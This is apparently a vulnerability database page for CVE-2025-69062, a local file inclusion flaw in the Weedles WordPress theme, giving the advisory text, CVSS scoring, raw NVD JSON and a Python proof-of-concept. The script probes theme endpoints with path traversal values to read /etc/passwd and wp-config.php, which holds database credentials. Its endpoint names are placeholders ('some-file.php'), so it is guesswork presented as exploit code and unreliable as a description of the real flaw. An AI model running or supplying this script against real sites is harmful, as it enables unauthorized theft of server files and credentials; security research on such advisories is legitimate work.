Security Vulnerability Report
中文
CVE-2025-69062 CVSS 8.1 HIGH

CVE-2025-69062

Published: 2026-01-22 17:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Weedles weedles allows PHP Local File Inclusion.This issue affects Weedles: from n/a through <= 1.1.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Weedles <= 1.1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69062 PoC - Weedles Theme Local File Inclusion # Target: WordPress site with Weedles theme <= 1.1.12 import requests import sys def test_lfi(target_url, filename='/etc/passwd'): """Test for LFI vulnerability in Weedles theme""" # Common Weedles theme vulnerable endpoints endpoints = [ '/wp-content/themes/weedles/some-file.php?file={}'.format(filename), '/wp-content/themes/weedles/includes/some-file.php?file={}'.format(filename), '/wp-content/themes/weedles/template-parts/some-file.php?file={}'.format(filename), ] print(f"[*] Testing LFI on {target_url}") print(f"[*] Target file: {filename}\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Try GET request response = requests.get(url, timeout=10) if response.status_code == 200: # Check if file content is leaked if 'root:' in response.text or 'bin:' in response.text: print(f"[+] VULNERABLE! Leaked {filename}:") print(response.text[:500]) return True # Try POST request response = requests.post(url, data={'file': filename}, timeout=10) if response.status_code == 200: if 'root:' in response.text or 'bin:' in response.text: print(f"[+] VULNERABLE (POST)! Leaked {filename}:") print(response.text[:500]) return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[-] No vulnerable endpoint found") return False def read_wp_config(target_url): """Attempt to read wp-config.php""" # Try different path traversals paths = [ '../../../../wp-config.php', '....//....//....//wp-config.php', '/wp-config.php' ] print("\n[*] Attempting to read wp-config.php...") for path in paths: if test_lfi(target_url, path): print(f"[+] Successfully read wp-config.php via: {path}") return True return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-69062.py <target_url>") print("Example: python cve-2025-69062.py http://example.com") sys.exit(1) target = sys.argv[1] # Test basic LFI test_lfi(target) # Try to read sensitive files read_wp_config(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69062", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:20.030", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Weedles weedles allows PHP Local File Inclusion.This issue affects Weedles: from n/a through <= 1.1.12."}, {"lang": "es", "value": "La vulnerabilidad de control inadecuado del nombre de fichero para la declaración include/require en un programa PHP ('PHP Inclusión remota de ficheros') en AncoraThemes Weedles weedles permite la inclusión local de ficheros PHP. Este problema afecta a Weedles: desde n/a hasta &lt;= 1.1.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/weedles/vulnerability/wordpress-weedles-theme-1-1-12-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}